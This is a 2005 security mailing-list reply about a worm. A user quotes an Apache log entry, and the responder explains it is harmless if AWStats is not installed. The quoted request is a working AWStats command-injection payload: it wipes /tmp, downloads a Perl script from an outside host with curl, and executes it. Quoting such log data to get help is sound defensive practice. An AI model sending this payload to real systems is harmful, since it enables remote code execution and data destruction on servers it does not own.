Re: GET //awstats.pl? in apache logs

["Andreas Constantinides (MegaHz)" <megahz () megahz org>]

well just a worm
if u dont have awstats, no need to worry

-- Andreas

----- Original Message ----- 
From: "Konstantine" <listclient () gmail com>
To: <security-basics () securityfocus com>
Sent: Saturday, October 22, 2005 12:33 AM
Subject: GET //awstats.pl? in apache logs


> My apache logs show rows after rows of following, all from various IP
> addresses. This started a couple of days ago. I don't have awstats.
> Could somebody tell me what is that? Is there anything I should be
> doing? thanks.K.
> GET 
> //awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/kidk1d/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo|
> HTTP/1.1